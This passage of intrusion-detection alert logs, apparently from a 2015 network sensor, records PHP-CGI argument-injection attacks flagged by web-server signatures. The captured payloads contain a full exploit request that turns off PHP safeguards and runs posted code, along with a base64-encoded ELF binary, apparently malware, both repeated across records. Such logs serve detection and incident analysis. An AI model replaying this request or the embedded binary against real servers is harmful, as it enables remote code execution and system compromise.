W1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016981,"rev":4,"signature":"ET WEB_SERVER open_basedir PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":2016977,"rev":3,"signature":"ET WEB_SERVER allow_url_include PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0},"payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGX